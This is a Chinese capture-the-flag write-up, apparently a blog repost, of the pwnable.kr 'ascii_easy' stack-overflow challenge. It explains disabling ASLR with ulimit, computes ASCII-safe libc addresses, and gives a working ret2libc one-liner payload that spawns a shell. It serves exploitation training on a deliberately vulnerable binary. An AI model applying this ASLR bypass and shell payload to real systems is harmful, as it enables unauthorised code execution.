【pwnable.kr】 ascii_easy

https://blog.yiz96.com/pwnable-ascii_easy/

这道题首先给出了提示”ulimit”,这里是一个可以禁用ALSR的黑科技,当设置ulimit -s unlimted时,系统的ALSR将会失效,原因在于arch/x86/mm/mmap.c中:

 

1

2

3

4

5

6

7

8

9

10

static int mmap_is_legacy(void)

{

    if (current->personality & ADDR_COMPAT_LAYOUT)

            return 1;

 

    if (rlimit(RLIMIT_STACK) == RLIM_INFINITY)

            return 1;

 

    return sysctl_legacy_va_layout;

}

在第二个if会返回true,所以ALSR就不起作用了,所有的地址成为固定值。

 

然后我们再看这个题,F5反汇编得到:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char *v3; // ebx@6

  unsigned int v5; // [esp+28h] [ebp-Ch]@4

  char *v6; // [esp+2Ch] [ebp-8h]@1

 

  v6 = (char *)mmap((void *)0x80000000, 0x1000u, 7, 50, -1, 0);

  if ( v6 != (char *)0x80000000 )

  {

    puts("mmap failed. tell admin");

    _exit(1);

  }

  printf("Input text : ");

  v5 = 0;

  do

  {

    if ( v5 > 0x18F )

      break;

    v3 = &v6[v5];

    *v3 = getchar();

    ++v5;

  }

  while ( is_ascii(*v3) );

  puts("triggering bug...");

  return (int)vuln();

}

 

_BOOL4 __cdecl is_ascii(signed int a1)

{

  return a1 > 31 && a1 <= 127;

}

 

char *vuln()

{

  char dest; // [esp+10h] [ebp-A8h]@1

 

  return strcpy(&dest, (const char *)0x80000000);

}

可以看出vuln()中dest长度为0xA8,而strcpy的源字符串长度最大 0x18F,存在栈溢出。常规的想法是通过一个 “x”*0xA8 + oebp + ret_addr + ‘xxxx’ + ‘sh’ 的payload覆盖ret,控制eip执行system(‘/bin/sh’)拿到shell。

然后使用gdb查看system的函数地址:

这个函数地址是符合要求的(能通过ascii检查),再看一下system函数在libc中的地址:

是0x3f250.

然后我们还需要在libc里面找一个”sh\x00″的字符串地址,我们使用ida的search -> sequence of bytes功能,搜索”73 68 00″,找到了四个结果,我们依次看看这四个结果。

假设”sh\x00″的起始地址是str_addr,那么libc加载到ascii_easy之后的地址应该是 0x555c5250 – 0x3f250 + str_addr

上面四个地址计算结果分别是(注意左边一栏并不是sh的开始地址,而是指令的开始地址):0x556E2495,0x556E2801,0x556E4A31,0x556E69C2,其中只有第三个(0x556E4A31)是可以通过ascii的检查的,所以我们使用这个做为system()的参数字符串指针地址。

所以最后的payload是:

1

(python -c "print 'A'*0xa8 + 'aaaa' +'\x50\x52\x5c\x55'+'aaaa'+'\x31\x4a\x6e\x55'";cat) | ./ascii_easy

这个题到这里已经结束了,但是在以前(大概是去年)这么做还不行,因为据inhack说当时的libc的system地址跟我现在看到的不一样,导致四个”sh”的字符串地址都无法使用。所以他需要用别的方法,比如:将自己的tmp目录加入环境变量,写一个只包含system(“/bin/sh”)的c程序,然后到libc中寻找可以使用的字符串,比如:

这里的library的地址计算之后恰好可以通过ascii检查,那么就让自己的可执行文件名字改成library,这样调用library可以直接执行自己写的程序。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值